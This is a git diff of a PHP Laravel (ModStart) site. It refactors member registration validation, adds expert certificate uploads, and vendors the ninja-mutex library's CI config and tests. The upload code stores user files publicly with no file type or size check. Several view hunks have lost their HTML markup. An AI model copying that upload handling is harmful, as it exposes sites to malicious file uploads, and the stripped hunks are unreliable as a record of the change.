"homepage": "https://github.com/tijsverkoyen/CssToInlineStyles", + "time": "2023-12-08T13:03:43+00:00" + }, + { + "name": "vlucas/phpdotenv", + "version": "v1.1.1", + "source": { + "type": "git", + "url": "https://github.com/vlucas/phpdotenv.git", + "reference": "0cac554ce06277e33ddf9f0b7ade4b8bbf2af3fa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/0cac554ce06277e33ddf9f0b7ade4b8bbf2af3fa", + "reference": "0cac554ce06277e33ddf9f0b7ade4b8bbf2af3fa", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "~4.0" + }, + "type": "library", + "autoload": { + "psr-0": { + "Dotenv": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD" + ], + "authors": [ + { + "name": "Vance Lucas", + "email": "vance@vancelucas.com", + "homepage": "http://www.vancelucas.com" + } + ], + "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", + "homepage": "http://github.com/vlucas/phpdotenv", + "keywords": [ + "dotenv", + "env", + "environment" + ], + "time": "2015-05-30T15:59:26+00:00" + }, + { + "name": "w7corp/easywechat", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/overtrue-wechat-mix.git", + "reference": "3cea32a5c15ce1b8434eb0e7c83406c250f0b976" + }, + "require": { + "easywechat-composer/easywechat-composer": "dev-master", + "pimple/pimple": "~3.0" + }, + "type": "library", + "extra": { + "hooks": { + "pre-commit": "composer check-style", + "pre-push": [ + "composer test", + "composer fix-style" + ] + } + }, + "autoload": { + "psr-4": { + "EasyWeChat\\": "src/" + }, + "files": [ + "src/Kernel/Support/Helpers.php", + "src/Kernel/Helpers.php" + ] + }, + "autoload-dev": { + "psr-4": { + "EasyWeChat\\Tests\\": "tests/" + } + }, + "scripts": { + "post-update-cmd": [ + "cghooks update" + ], + "post-merge": [ + "composer install" + ], + "post-install-cmd": [ + "cghooks add --ignore-lock", + "cghooks update" + ], + "phpstan": [ + "vendor/bin/phpstan analyse" + ], + "check-style": [ + "php-cs-fixer fix --using-cache=no --diff --config=.php_cs --dry-run --ansi" + ], + "fix-style": [ + "php-cs-fixer fix --using-cache=no --config=.php_cs --ansi" + ], + "test": [ + "vendor/bin/phpunit --colors=always --testdox" + ] + }, + "license": [ + "MIT" + ], + "authors": [ + { + "name": "overtrue", + "email": "anzhengchao@gmail.com" + } + ], + "description": "微信SDK", + "keywords": [ + "easywechat", + "sdk", + "wechat", + "weixin", + "weixin-sdk" + ], + "time": "2023-10-08T08:18:26+00:00" + } + ], + "packages-dev": [], + "aliases": [], + "minimum-stability": "dev", + "stability-flags": { + "modstart/modstart-laravel5": 20 + }, + "prefer-stable": true, + "prefer-lowest": false, + "platform": { + "ext-json": "*", + "php": ">=5.6.0" + }, + "platform-dev": [], + "plugin-api-version": "1.1.0" +} diff --git a/module/Blog/Member/Controller/AuthController.php b/module/Blog/Member/Controller/AuthController.php index fbf2bb8e..152ae3ef 100644 --- a/module/Blog/Member/Controller/AuthController.php +++ b/module/Blog/Member/Controller/AuthController.php @@ -11,6 +11,7 @@ use Module\Member\Util\MemberMetaUtil; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Str; // 引入 Str Facade 用于生成文件名 +use ModStart\Core\Input\Response; // Added ModStart Response class AuthController extends Controller { @@ -43,7 +44,7 @@ public function login(Request $request) MemberUser::login($member); - return redirect()->intended('/'); + return \ModStart\Core\Input\Response::generateSuccess(null, '/'); } public function showRegisterForm() @@ -58,24 +59,28 @@ public function register(Request $request) { $registerType = $request->input('registerType', 'personal'); + $rules = []; + $messages = []; + if ($registerType === 'personal') { // 个人注册验证规则 - $validator = Validator::make($request->all(), [ + $rules = [ 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone', 'verify_code' => 'required|string', 'password' => 'required|string|min:6', 'sports' => 'nullable|array', - ], [ + ]; + $messages = [ 'phone.required' => '请输入手机号', 'phone.regex' => '请输入正确的手机号格式', 'phone.unique' => '该手机号已被注册', 'verify_code.required' => '请输入验证码', 'password.required' => '请输入密码', 'password.min' => '密码长度至少为6位', - ]); + ]; } elseif ($registerType === 'expert') { // 专家注册验证规则 - $validator = Validator::make($request->all(), [ + $rules = [ 'realname' => 'required|string', 'expert_email' => 'required|string|email', 'area' => 'required|string', @@ -86,16 +91,8 @@ public function register(Request $request) 'password' => 'required|string|min:6', 'passwordRepeat' => 'required|string|same:password', 'captcha' => 'required|string', // Assuming captcha is always required for expert - // Add phone/email verification if enabled in config - @if(modstart_config('registerPhoneEnable')) - 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone', - 'phoneVerify' => 'required|string', - @endif - @if(modstart_config('registerEmailEnable')) - 'email' => 'required|string|email|unique:member,email', - 'emailVerify' => 'required|string', - @endif - ], [ + ]; + $messages = [ 'realname.required' => '请输入姓名', 'expert_email.required' => '请输入常用邮箱', 'expert_email.email' => '请输入正确的邮箱格式', @@ -114,24 +111,32 @@ public function register(Request $request) 'passwordRepeat.required' => '请重复输入密码', 'passwordRepeat.same' => '两次输入的密码不一致', 'captcha.required' => '请输入图片验证码', - @if(modstart_config('registerPhoneEnable')) - 'phone.required' => '请输入手机号', - 'phone.regex' => '请输入正确的手机号格式', - 'phone.unique' => '该手机号已被注册', - 'phoneVerify.required' => '请输入手机验证码', - @endif - @if(modstart_config('registerEmailEnable')) - 'email.required' => '请输入邮箱', - 'email.email' => '请输入正确的邮箱格式', - 'email.unique' => '该邮箱已被注册', - 'emailVerify.required' => '请输入邮箱验证码', - @endif - ]); + ]; + + // Add phone/email verification if enabled in config + if (modstart_config('registerPhoneEnable')) { + $rules['phone'] = 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone'; + $rules['phoneVerify'] = 'required|string'; + $messages['phone.required'] = '请输入手机号'; + $messages['phone.regex'] = '请输入正确的手机号格式'; + $messages['phone.unique'] = '该手机号已被注册'; + $messages['phoneVerify.required'] = '请输入手机验证码'; + } + if (modstart_config('registerEmailEnable')) { + $rules['email'] = 'required|string|email|unique:member,email'; + $rules['emailVerify'] = 'required|string'; + $messages['email.required'] = '请输入邮箱'; + $messages['email.email'] = '请输入正确的邮箱格式'; + $messages['email.unique'] = '该邮箱已被注册'; + $messages['emailVerify.required'] = '请输入邮箱验证码'; + } } else { // 未知注册类型 return back()->withErrors(['registerType' => '未知的注册类型'])->withInput(); } + $validator = Validator::make($request->all(), $rules, $messages); + if ($validator->fails()) { return back()->withErrors($validator)->withInput(); } @@ -205,7 +210,7 @@ public function register(Request $request) // 注册成功事件 // EventUtil::dispatch(new MemberUserRegisteredEvent($member->id)); - return redirect('/'); + return \ModStart\Core\Input\Response::generateSuccess(null, '/'); } public function logout() diff --git a/module/Member/Api/Controller/AuthController.php b/module/Member/Api/Controller/AuthController.php index 2206821f..11bc84d3 100644 --- a/module/Member/Api/Controller/AuthController.php +++ b/module/Member/Api/Controller/AuthController.php @@ -1,43 +1,84 @@ preCheck(); if (Response::isError($ret)) { @@ -844,7 +885,7 @@ public function loginPhone() } EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); Session::forget('registerCaptchaPass'); - foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + foreach (RegisterProcessorProvider::listAll() as $provider) { /** @var AbstractMemberRegisterProcessorProvider $provider */ $provider->postProcess($memberUserId); } @@ -988,7 +1029,7 @@ public function registerPhone() return Response::generate(-1, '两次手机不一致'); } - foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + foreach (RegisterProcessorProvider::listAll() as $provider) { /** @var AbstractMemberRegisterProcessorProvider $provider */ $ret = $provider->preCheck(); if (Response::isError($ret)) { @@ -1010,7 +1051,7 @@ public function registerPhone() } EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); Session::forget('registerCaptchaPass'); - foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + foreach (RegisterProcessorProvider::listAll() as $provider) { /** @var AbstractMemberRegisterProcessorProvider $provider */ $provider->postProcess($memberUserId); } @@ -1056,6 +1097,7 @@ public function register() $password = $input->getTrimString('password'); $passwordRepeat = $input->getTrimString('passwordRepeat'); $captcha = $input->getTrimString('captcha'); + $registerType = $input->getTrimString('registerType', 'personal'); if (empty($username)) { return Response::generate(-1, '用户名不能为空'); @@ -1118,7 +1160,7 @@ public function register() } BizException::throwsIfResponseError(MemberUtil::passwordStrengthCheck($password)); - foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + foreach (RegisterProcessorProvider::listAll() as $provider) { /** @var AbstractMemberRegisterProcessorProvider $provider */ $ret = $provider->preCheck(); if (Response::isError($ret)) { @@ -1126,7 +1168,24 @@ public function register() } } - $ret = MemberUtil::register($username, $phone, $email, $password); + // Handle certificate upload for expert registration + $param = []; + if ($registerType === 'expert') { + $uploadedFiles = $input->file('certs'); + $certificatePaths = []; + if (!empty($uploadedFiles)) { + foreach ($uploadedFiles as $file) { + if ($file->isValid()) { + // Store the file and get its path + $path = $file->store('certificates', 'public'); // Assuming 'public' disk and 'certificates' directory + $certificatePaths[] = Storage::url($path); // Get the public URL + } + } + } + $param['certificates'] = json_encode($certificatePaths); // Store paths as JSON + } + + $ret = MemberUtil::register($username, $phone, $email, $password, false, $param); if ($ret['code']) { return Response::generate(-1, $ret['msg']); } @@ -1144,7 +1203,7 @@ public function register() } EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); Session::forget('registerCaptchaPass'); - foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + foreach (RegisterProcessorProvider::listAll() as $provider) { /** @var AbstractMemberRegisterProcessorProvider $provider */ $provider->postProcess($memberUserId); } diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index 53a19ccc..b86aeff1 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -16,7 +16,7 @@ {{\ModStart\ModStart::js('vendor/Member/entry/register.js')}} {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageBodyAppend'); !!} @@ -173,7 +209,7 @@
选择自己喜欢的运动
- + @@ -206,28 +242,28 @@
- +
- +
- +
-
+
+ placeholder="图片验证码" />
- +
@@ -269,7 +305,7 @@
- +
@@ -296,7 +332,7 @@ -
@@ -658,7 +659,7 @@
- +
@@ -667,7 +668,7 @@
- +
@@ -676,7 +677,7 @@
- +
@@ -685,7 +686,7 @@
- +
@@ -694,7 +695,7 @@
- +
@@ -705,7 +706,7 @@
+ placeholder="图片验证码" style="flex-grow: 1; margin-right: 10px;" /> diff --git a/vendor/arvenil/ninja-mutex/.travis.php.ini b/vendor/arvenil/ninja-mutex/.travis.php.ini new file mode 100644 index 00000000..ab3c96ad --- /dev/null +++ b/vendor/arvenil/ninja-mutex/.travis.php.ini @@ -0,0 +1,3 @@ +extension=memcache.so +extension=memcached.so +extension=redis.so diff --git a/vendor/arvenil/ninja-mutex/.travis.yml b/vendor/arvenil/ninja-mutex/.travis.yml new file mode 100644 index 00000000..9e0fdc60 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/.travis.yml @@ -0,0 +1,29 @@ +language: php + +php: + - 5.3 + - 5.4 + - 5.5 + - 5.6 + - hhvm + +addons: + code_climate: + repo_token: + secure: "F0tPpoTZPMJkyQsElb2UKekfAcvE4P7/kAfW6/9sUF3jgNaRfob0kAyXAxf99n09+M5fI8VlFC0OEpmKGHUXez9EFMAqFeZ85eMePvXOX6EmloCPUY3LcX0tGefFQn402tSZCMdIzXwsjTYe5Ku4bGsH+etXRViX+teZmct7BBQ=" + +services: + - memcached + - redis-server + +before_script: + - if [[ "$TRAVIS_PHP_VERSION" != "hhvm" ]]; then cat .travis.php.ini >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini ; echo "Loading additional config for version $TRAVIS_PHP_VERSION" ; fi + - ./tests/travis/composer-setup.sh + - ./tests/travis/mysql-setup.sh + +script: phpunit + +after_script: + - vendor/bin/ocular code-coverage:upload --format=php-clover build/logs/clover.xml + - vendor/bin/test-reporter --stdout > codeclimate.json + - "curl -X POST -d @codeclimate.json -H 'Content-Type: application/json' -H 'User-Agent: Code Climate (PHP Test Reporter v0.1.1)' https://codeclimate.com/test_reports" diff --git a/vendor/arvenil/ninja-mutex/phpunit.xml.dist b/vendor/arvenil/ninja-mutex/phpunit.xml.dist new file mode 100644 index 00000000..67b40275 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/phpunit.xml.dist @@ -0,0 +1,20 @@ + + + + + + tests/NinjaMutex/ + + + + + + src/NinjaMutex/ + + + + + + + + diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/AbstractTest.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/AbstractTest.php new file mode 100644 index 00000000..e6185910 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/AbstractTest.php @@ -0,0 +1,222 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex; + +use NinjaMutex\Lock\DirectoryLock; +use NinjaMutex\Lock\FlockLock; +use NinjaMutex\Lock\MemcacheLock; +use NinjaMutex\Lock\MemcachedLock; +use NinjaMutex\Lock\MySqlLock; +use NinjaMutex\Lock\Fabric\MemcacheLockFabric; +use NinjaMutex\Lock\Fabric\MemcachedLockFabric; +use NinjaMutex\Mock\MockMemcache; +use NinjaMutex\Mock\MockMemcached; +use NinjaMutex\Mock\MockPredisClient; +use NinjaMutex\Mock\MockPhpRedisClient; +use NinjaMutex\Lock\PredisRedisLock; +use NinjaMutex\Lock\PhpRedisLock; +use Predis; +use \Redis; +use org\bovigo\vfs; + +abstract class AbstractTest extends \PHPUnit_Framework_TestCase +{ + public function setUp() + { + vfs\vfsStreamWrapper::register(); + vfs\vfsStreamWrapper::setRoot(new vfs\vfsStreamDirectory('nfs')); + mkdir('/tmp/mutex/'); + } + + public function tearDown() + { + foreach (new \DirectoryIterator(vfs\vfsStream::url('nfs')) as $file) { + if (!$file->isDot()) { + unlink($file->getPathname()); + } + } + rmdir(vfs\vfsStream::url('nfs')); + + foreach (new \DirectoryIterator('/tmp/mutex/') as $file) { + if (!$file->isDot()) { + unlink($file->getPathname()); + } + } + rmdir('/tmp/mutex/'); + } + + /** + * @return array + */ + public function lockImplementorProvider() + { + $memcacheLockFabric = new MemcacheLockFabric(); + $memcachedLockFabric = new MemcachedLockFabric(); + + $data = array( + // Just mocks + $this->provideFlockMockLock(), + $this->provideDirectoryMockLock(), + $this->provideMemcacheMockLock(), + $this->provideMemcachedMockLock(), + $this->provideMysqlMockLock(), + $this->providePredisRedisMockLock(), + $this->providePhpRedisMockLock(), + // Real locks + $this->provideFlockLock(), + $this->provideDirectoryLock(), + array($memcacheLockFabric->create()), + array($memcachedLockFabric->create()), + $this->provideMysqlLock(), + $this->providePredisRedisLock(), + $this->providePhpRedisLock(), + ); + + return $data; + } + + /** + * @return array + */ + public function lockImplementorWithBackendProvider() + { + $data = array( + // Just mocks + $this->provideMemcacheMockLock(), + $this->provideMemcachedMockLock(), + $this->providePredisRedisMockLock(), + $this->providePhpRedisMockLock(), + ); + + return $data; + } + + /** + * @return array + */ + public function lockFabricWithExpirationProvider() + { + $memcacheLockFabric = new MemcacheLockFabric(); + $memcachedLockFabric = new MemcachedLockFabric(); + + $data = array( + array($memcacheLockFabric), + array($memcachedLockFabric), + ); + + return $data; + } + + /** + * @return array + */ + protected function provideMemcacheMockLock() + { + $memcacheMock = new MockMemcache(); + + return array(new MemcacheLock($memcacheMock), $memcacheMock); + } + + /** + * @return array + */ + protected function provideMemcachedMockLock() + { + $memcachedMock = new MockMemcached(); + + return array(new MemcachedLock($memcachedMock), $memcachedMock); + } + + /** + * @return array + */ + protected function provideFlockMockLock() + { + return array(new FlockLock(vfs\vfsStream::url('nfs/'))); + } + + /** + * @return array + */ + protected function provideDirectoryMockLock() + { + return array(new DirectoryLock(vfs\vfsStream::url('nfs/'))); + } + + /** + * @return array + */ + protected function provideMysqlMockLock() + { + return array(new MySqlLock('', '', '', 3306, 'NinjaMutex\Mock\MockPDO')); + } + + /** + * @return array + */ + protected function providePredisRedisMockLock() + { + $predisMock = new MockPredisClient(); + + return array(new PredisRedisLock($predisMock), $predisMock); + } + + /** + * @return array + */ + protected function providePhpRedisMockLock() + { + $predisMock = new MockPhpRedisClient(); + + return array(new PhpRedisLock($predisMock), $predisMock); + } + + /** + * @return array + */ + protected function provideFlockLock() + { + return array(new FlockLock('/tmp/mutex/')); + } + + /** + * @return array + */ + protected function provideDirectoryLock() + { + return array(new DirectoryLock('/tmp/mutex/')); + } + + /** + * @return array + */ + protected function provideMysqlLock() + { + return array(new MySqlLock('root', '', '127.0.0.1')); + } + + /** + * @return array + */ + protected function providePredisRedisLock() + { + return array(new PredisRedisLock(new Predis\Client())); + } + + /** + * @return array + */ + protected function providePhpRedisLock() + { + $redis = new Redis(); + $redis->connect('127.0.0.1', 6379); + return array(new PhpRedisLock($redis)); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/LockFabricWithExpirationInterface.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/LockFabricWithExpirationInterface.php new file mode 100644 index 00000000..2ba96f27 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/LockFabricWithExpirationInterface.php @@ -0,0 +1,25 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Lock\Fabric; +use NinjaMutex\Lock\LockInterface; +use NinjaMutex\Lock\LockExpirationInterface; + +/** + * Lock Fabric interface + * + * @author Kamil Dziedzic + */ +interface LockFabricWithExpirationInterface +{ + /** + * @return LockInterface|LockExpirationInterface + */ + public function create(); +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcacheLockFabric.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcacheLockFabric.php new file mode 100644 index 00000000..1ceea5d0 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcacheLockFabric.php @@ -0,0 +1,25 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Lock\Fabric; + +use Memcache; +use NinjaMutex\Lock\MemcacheLock; + +class MemcacheLockFabric implements LockFabricWithExpirationInterface { + /** + * @return MemcacheLock + */ + public function create() { + $memcache = new Memcache(); + $memcache->connect('127.0.0.1', 11211); + + return new MemcacheLock($memcache); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcachedLockFabric.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcachedLockFabric.php new file mode 100644 index 00000000..11772c08 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcachedLockFabric.php @@ -0,0 +1,25 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Lock\Fabric; + +use Memcached; +use NinjaMutex\Lock\MemcachedLock; + +class MemcachedLockFabric implements LockFabricWithExpirationInterface { + /** + * @return MemcachedLock + */ + public function create() { + $memcached = new Memcached(); + $memcached->addServer('127.0.0.1', 11211); + + return new MemcachedLock($memcached); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/LockTest.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/LockTest.php new file mode 100644 index 00000000..5249c20f --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/LockTest.php @@ -0,0 +1,198 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Lock; + +use NinjaMutex\AbstractTest; +use NinjaMutex\Lock\Fabric\LockFabricWithExpirationInterface; +use NinjaMutex\Mock\PermanentServiceInterface; +use NinjaMutex\UnrecoverableMutexException; + +/** + * Tests for Locks + * + * @author Kamil Dziedzic + */ +class LockTest extends AbstractTest +{ + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testDisallowToAcquireSelfOwnedLock(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $lockImplementor->acquireLock($name, 0); + + $this->assertFalse($lockImplementor->acquireLock($name, 0)); + + $lockImplementor->releaseLock($name); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testDisallowToAcquireLockOwnedByOtherLockImplementor(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $duplicateLockImplementor = clone $lockImplementor; + $lockImplementor->acquireLock($name, 0); + + $this->assertFalse($duplicateLockImplementor->acquireLock($name, 0)); + + $lockImplementor->releaseLock($name); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testDisallowLockImplementorToReleaseLockAcquiredByOtherImplementor(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $lockImplementor->acquireLock($name, 0); + + $duplicateLockImplementor = clone $lockImplementor; + $this->assertFalse($duplicateLockImplementor->releaseLock($name)); + + $lockImplementor->releaseLock($name); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testIfLocksAreNotSharedBetweenImplementors(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $lockImplementor->acquireLock($name, 0); + + $duplicateLockImplementor = clone $lockImplementor; + $duplicateLockImplementor->releaseLock($name); + $this->assertFalse($duplicateLockImplementor->acquireLock($name, 0)); + + $lockImplementor->releaseLock($name); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testIfLockReleasedByOneImplementorCanBeAcquiredByOther(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $lockImplementor->acquireLock($name, 0); + $lockImplementor->releaseLock($name); + + $duplicateLockImplementor = clone $lockImplementor; + $this->assertTrue($duplicateLockImplementor->acquireLock($name, 0)); + + $duplicateLockImplementor->releaseLock($name); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testAcquireAndReleaseLock(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $this->assertTrue($lockImplementor->acquireLock($name, 0)); + $this->assertTrue($lockImplementor->isLocked($name)); + $this->assertTrue($lockImplementor->releaseLock($name)); + $this->assertFalse($lockImplementor->isLocked($name)); + } + + /** + * @dataProvider lockImplementorProvider + * @param LockInterface $lockImplementor + */ + public function testIfLockIsReleasedAfterLockImplementorIsDestroyed(LockInterface $lockImplementor) + { + $name = 'forfiter'; + $duplicateLockImplementor = clone $lockImplementor; + $duplicateLockImplementor->acquireLock($name, 0); + unset($duplicateLockImplementor); + + $this->assertTrue($lockImplementor->acquireLock($name, 0)); + + $lockImplementor->releaseLock($name); + } + + /** + * @issue https://github.com/arvenil/ninja-mutex/pull/4 + * It's not working for hhvm, see below link to understand limitation + * https://github.com/facebook/hhvm/blob/af329776c9f740cc1c8c4791f673ba5aa49042ce/hphp/doc/inconsistencies#L40-L45 + * + * @dataProvider lockImplementorWithBackendProvider + * @param LockInterface $lockImplementor + * @param PermanentServiceInterface $backend + */ + public function testIfLockDestructorThrowsWhenBackendIsUnavailable(LockInterface $lockImplementor, PermanentServiceInterface $backend) + { + $name = "forfiter"; + + $this->assertFalse($lockImplementor->isLocked($name)); + $this->assertTrue($lockImplementor->acquireLock($name, 0)); + $this->assertTrue($lockImplementor->isLocked($name)); + + // make backend unavailable + $backend->setAvailable(false); + + try { + // explicit __destructor() call, should throw UnrecoverableMutexException + $lockImplementor->__destruct(); + } catch (UnrecoverableMutexException $e) { + // make backend available again + $backend->setAvailable(true); + // release lock + $this->assertTrue($lockImplementor->releaseLock($name)); + $this->assertFalse($lockImplementor->releaseLock($name)); + $this->assertFalse($lockImplementor->isLocked($name)); + + return; + } + + $this->fail('An expected exception has not been raised.'); + } + + /** + * @issue https://github.com/arvenil/ninja-mutex/issues/12 + * @medium Timeout for test increased to ~5s http://stackoverflow.com/a/10535787/916440 + * + * @dataProvider lockFabricWithExpirationProvider + * @param LockFabricWithExpirationInterface $lockFabricWithExpiration + */ + public function testExpiration(LockFabricWithExpirationInterface $lockFabricWithExpiration) + { + $expiration = 2; // in seconds + $name = "lockWithExpiration_" . uniqid(); + $lockImplementor = $lockFabricWithExpiration->create(); + $lockImplementorWithExpiration = $lockFabricWithExpiration->create(); + $lockImplementorWithExpiration->setExpiration($expiration); + + // Aquire lock on implementor with lock expiration + $this->assertTrue($lockImplementorWithExpiration->acquireLock($name, 0)); + // We hope code was fast enough so $expiration time didn't pass yet and lock still should be held + $this->assertFalse($lockImplementor->acquireLock($name, 0)); + + // Let's wait for lock to expire + sleep($expiration); + + // Let's try again to lock + $this->assertTrue($lockImplementor->acquireLock($name, 0)); + + // Cleanup + $this->assertTrue($lockImplementor->releaseLock($name, 0)); + // Expired lock is unusable, we need to clean it's lock state or otherwise + // it will invoke in __destruct Exception (php*) or Fatal Error (hhvm) + $this->assertTrue($lockImplementorWithExpiration->clearLock($name, 0)); + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockLock.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockLock.php new file mode 100644 index 00000000..9b22a902 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockLock.php @@ -0,0 +1,89 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +use NinjaMutex\Lock\LockInterface; + +/** + * Mock to mimic Lock functionality + * + * @author Kamil Dziedzic + */ +class MockLock implements LockInterface +{ + /** + * Lock counter to protect against recursive deadlock + * + * @var integer + */ + protected $counter = 0; + + /** + * Whether the service is available + * @var boolean + */ + protected $available = true; + + /** + * @param string $name + * @param null|int $timeout + * @return bool + */ + public function acquireLock($name, $timeout = null) + { + if (!$this->available) { + return false; + } + $this->counter++; + + return true; + } + + /** + * @param $name + * @return bool + */ + public function releaseLock($name) + { + if (!$this->available) { + return false; + } + if ($this->counter > 0) { + $this->counter--; + return true; + } + + return false; + } + + /** + * @param $name + * @return bool + */ + public function isLocked($name) + { + if (!$this->available) { + return false; + } + if ($this->counter > 0) { + return true; + } + + return false; + } + + /** + * @param bool $available + */ + public function setAvailable($available) + { + $this->available = (bool) $available; + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcache.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcache.php new file mode 100644 index 00000000..ad5e7f05 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcache.php @@ -0,0 +1,95 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + +use Memcache; + +/** + * Mock memcache to mimic mutex functionality + * + * @author Kamil Dziedzic + */ +class MockMemcache extends Memcache implements PermanentServiceInterface +{ + /** + * @var string[] + */ + protected static $data = array(); + + /** + * Whether the service is available + * @var boolean + */ + protected $available = true; + + public function __construct() + { + } + + /** + * @param string $key + * @param mixed $value + * @return bool + */ + public function add($key, $value) + { + if (!$this->available) { + return false; + } + + if (false === $this->get($key)) { + self::$data[$key] = (string) $value; + + return true; + } + + return false; + } + + /** + * @param string $key + * @return array|bool|string + */ + public function get($key) + { + if (!$this->available) { + return false; + } + + if (!isset(self::$data[$key])) { + return false; + } + + return (string) self::$data[$key]; + } + + /** + * @param string $key + * @return bool|void + */ + public function delete($key) + { + if (!$this->available) { + return false; + } + + unset(self::$data[$key]); + + return true; + } + + /** + * @param bool $available + */ + public function setAvailable($available) + { + $this->available = (bool) $available; + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcached.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcached.php new file mode 100644 index 00000000..b6c02d72 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcached.php @@ -0,0 +1,100 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +namespace NinjaMutex\Mock; + + +/** + * Mock memcached to mimic mutex functionality + * + * @author Kamil Dziedzic + */ +class MockMemcached implements PermanentServiceInterface +{ + /** + * @var string[] + */ + protected static $data = array(); + + /** + * Whether the service is available + * @var boolean + */ + protected $available = true; + + public function __construct() + { + } + + /** + * @param string $key + * @param mixed $value + * @param int|null $expiration + * @param null $udf_flags + * @return bool + */ + public function add($key, $value, $expiration = null, &$udf_flags = null) + { + if (!$this->available) { + return false; + } + + if (false === $this->get($key)) { + self::$data[$key] = (string) $value; + + return true; + } + + return false; + } + + /** + * @param string $key + * @param null $cache_cb + * @param null $cas_token + * @param null $udf_flags + * @return bool|mixed|string + */ + public function get($key, $cache_cb = null, &$cas_token = null, &$udf_flags = null) + { + if (!$this->available) { + return false; + } + + if (!isset(self::$data[$key])) { + return false; + } + + return (string) self::$data[$key]; + } + + /** + * @param string $key + * @param null $time + * @return bool + */ + public function delete($key, $time = null) + { + if (!$this->available) { + return false; + } + + unset(self::$data[$key]); + + return true; + } + + /** + * @param bool $available + */ + public function setAvailable($available) + { + $this->available = (bool) $available; + } +} diff --git a/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDO.php b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDO.php new file mode 100644 index 00000000..656c4488 --- /dev/null +++ b/vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDO.php @@ -0,0 +1,126 @@ + + * + * For the full 